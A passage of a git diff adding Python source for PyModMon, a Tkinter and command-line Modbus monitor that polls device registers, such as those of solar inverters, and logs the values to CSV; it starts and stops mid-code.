elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = 